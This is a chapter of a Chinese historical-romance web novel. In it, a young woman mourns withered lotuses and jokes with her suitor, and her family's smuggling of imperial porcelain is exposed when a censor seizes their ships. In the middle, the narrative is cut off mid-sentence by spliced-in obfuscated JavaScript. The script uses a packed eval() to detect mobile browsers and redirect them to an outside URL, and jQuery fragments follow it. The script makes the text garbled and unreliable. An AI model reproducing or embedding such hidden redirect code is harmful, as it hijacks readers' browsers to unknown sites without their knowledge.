17. 第 17 章
作品:《洞房前我只想和离》 湿润的水汽形成一层雨幕,遮盖了原本淡远的荷香,只有清风吹来,仍可闻见一点儿香气。
荷载着雨水的荷叶边上,竖着一根根细长的茎,茎上只剩孤零零的淡黄花托,结成了小小的莲蓬。
吕姝没想到只一夜荷花就败了,要是没有那擎雨盖,怕是一点浓淡颜色也要瞧不见了。
她神情呆呆的,像是有什么东西从她身边抽离走了一般。雨丝飘进屋内,打湿了她的裙摆也不管。
只是低语:“中通外直,不蔓不枝。应当也有傲骨才是……”
不知坐了多久,身后也传来一阵子脚步声来。吕姝以为是听风进来了,她正好渴了,就扭过身子,要喊住她。
谁知这么一转,却撞到了这人的腰里。一受力,她一个不稳,手也慌乱地随手在空中抓了一下,三下两下地扯住了那人的束带,吕姝便知道对面是个男人了。
她一抬头,却见是秦禄,而自己两只手宛若她主动抱紧了秦禄似的。
方才秦禄知道她快要摔倒,也上前去扶她的手,忽而被她紧紧抱住,脸红了一团,双手只是悬在空中,一动也不敢动,像是一块只供吕姝挑拣的肉,静静地等待着吕姝发落。
他边说边自叹不如地摇头,轻笑说:“若我有一些轻狂,你昨日就有十分。我自认也是个好闯祸的,没想到你比我更厉害十倍。”
“是么?那你该好好说话才是。”吕姝面颊生笑,面上流露出一丝娇俏:“往后都不该惹我了。”
“自是如此。小生岂敢惹姑奶奶?”说罢,拱起手来,敬她两下。
吕姝见如此,原本忧郁的心情一扫而空,捂着帕子忍不住地笑了好半日。
秦禄见她笑自己也跟着笑,随后自己找了把椅子在吕姝身边坐下,陪着她说了一上午的话。
中途吕犀派人来喊他去揽春楼听曲,他也不去。过了一会儿又说要去打铁铺和武器行里看宝刀,又推辞了不去,惹得吕犀频频抱怨。
吕犀便自己带了随从,打着伞往揽春楼里去了。正出大门,撞见吕璋面色铁青,着急忙慌地往对面府里去了。
他看不惯地哼了一声:“整日就是去那府里,干脆住那儿得了。”
好在说话小声,又下着细雨,吕璋倒是没听见。
他脚上加快了步子,仿佛郡王府有救命的丹药一般。不多时,这个矮小人影就消失在了郡王府中。
原来这日一早,吕璋手底下就有一个管事的来报,说是两艘运转着瓷器的船在下关被扣住了。
吕家一开始在未城有两座民窑,一座叫耒窑,一座叫浏窑,两座中尤其以耒窑烧制的一种孔雀绿釉瓷出名。
这种孔雀绿浅如碧澜,观之宛若黎明破晓时不曾被半点霞光沾染的碧空,靠近时便能感觉到寂静如海般的平和之气。
自和郡王府成了亲家之后,吕家生意越做越大,后来这两座窑被点为官窑,所有孔雀绿釉并龙凤纹样式的瓷器,瓶、盏、碗、盖各形制均要上供给朝廷。
一家人满心欢喜以为这是好事,其实祸福相依,紧接着没多久就为这短暂的高兴后起悔来。
被点了官窑的吕家虽成了皇商,名声大到闻名全国,生意却反倒不如从前。
因朝廷并不是每年都要大量瓷器,自前年从耒、浏两窑运走一万件瓷器后,去年只要了五分之一,今年也是一样。
适逢朝廷在饶州大量建造官窑,未城离得远并不受太多待见,好的工匠又多被带到饶州去了。孔雀绿釉虽要价,又因上面说了不许售卖给民间,故而两三年下来,这两座官窑就没落了。
生意人嘛,营收一年比一年差,心思自然早早就钻营起来。
吕璋便想了个法子,铤而走险走私起御供瓷器来。一面销往南边岭南,一面销往北边的燕地,有时还会更远。
往南倒还好卖,有一些胡商自来找他,往北只能借着替宫里采买的名义少量走私。虽小心谨慎,也怕有被发现的时候,故而他走了未城郡王的路子,那边打通关系,他出货物。虽分王爷五分利,确是长久的买卖,吕璋也是高兴的。
这生意也做了两年了,一直是顺顺利利。不知怎么的,忽然在上关被拦住了。
眼下吕璋问了看门的小厮,说王爷在家中,他轻车熟路地到了郡王的书房里来。
话说未城郡□□炇此时正在准备今天中秋佳节的贺礼。
宫里的旨意下来,八月十五要他进宫过节去。既然是奉旨进京,少不得要见圣上、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018529|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太后,与朝中重臣也要走动走动。
他手上拿着一张长长的礼单,单子上不同官阶、官职对应了不同的礼物,见吕璋来,也不曾抬头,还是忙着看他的单子。有时觉得不好的,提起笔来划掉,可以的打个勾。
吕璋弓着腰站了好一会儿,丹炇才问:“何事?”
吕璋早习惯了王爷这样“言简意赅”地问话。不过,他心里很是讨厌这种不把他放在眼里的傲慢。
虽然他心里清楚这是个郡王爷,当今皇爷的大侄孙,不过如果有一个人如此明目张胆地蔑视你,无论怎么说服,自己心里都是不会高兴的,这是身体的反应,而非儒礼所能控制的反应。
吕璋看了左右,等闲杂人等清走,他才着急万分地说:“我们两船一共一千件瓷器被扣在了上关,舱底下还藏着的走私的御供孔雀绿釉啊!”
“御供”两字说得尤重,“东宫”二字说得却比飘逸的云还要轻声。但凡涉及到“人”,都要小心。
王爷眉头一皱,“上关,”鼻子哼了两声:“上关课钞课得到皇爷头上?”
把手上的礼品单子放在一边,问身后站着的管家许多峰:“说说,怎么回事。”
府中大小事,丹炇一贯是叫他去办。
许管家弓着背,毕恭毕敬地说:“我也是正要禀报”,责怪地看一眼吕璋,“没成想大舅爷这么快就来了。”
说罢从袖子里掏出一封信来,递给丹炇看了。丹炇只看了印章两眼就没看了,叫管家说给他听。
管家道:“从京城回来的人说,不是下关的人拦的。”
丹炇嘁了一声,仿佛甩着脑袋的老山羊一样发出声音:“他们敢拦,本王才奇怪呢,继续说。”
管家又道:“因着中秋节的缘故,有些北边来的使节在城里城外没见过世面似的乱逛,看见我们船上的瓷器货物,愣说在他们那里也常见。这话被会同馆的人听见了,原是只把这个当笑话讲,谁知巡漕御史秦禃秦大人就在边上巡逻,碰见他们说这话,只是盯着我们的船看。也不知他是什么神人一般,这么一眼就发现吃水不对。于是两艘船都被他扣下了。”
丹炇面色冷淡:“秦禃他多管什么闲事,怎么没人告诉他这是宫里的东西么?”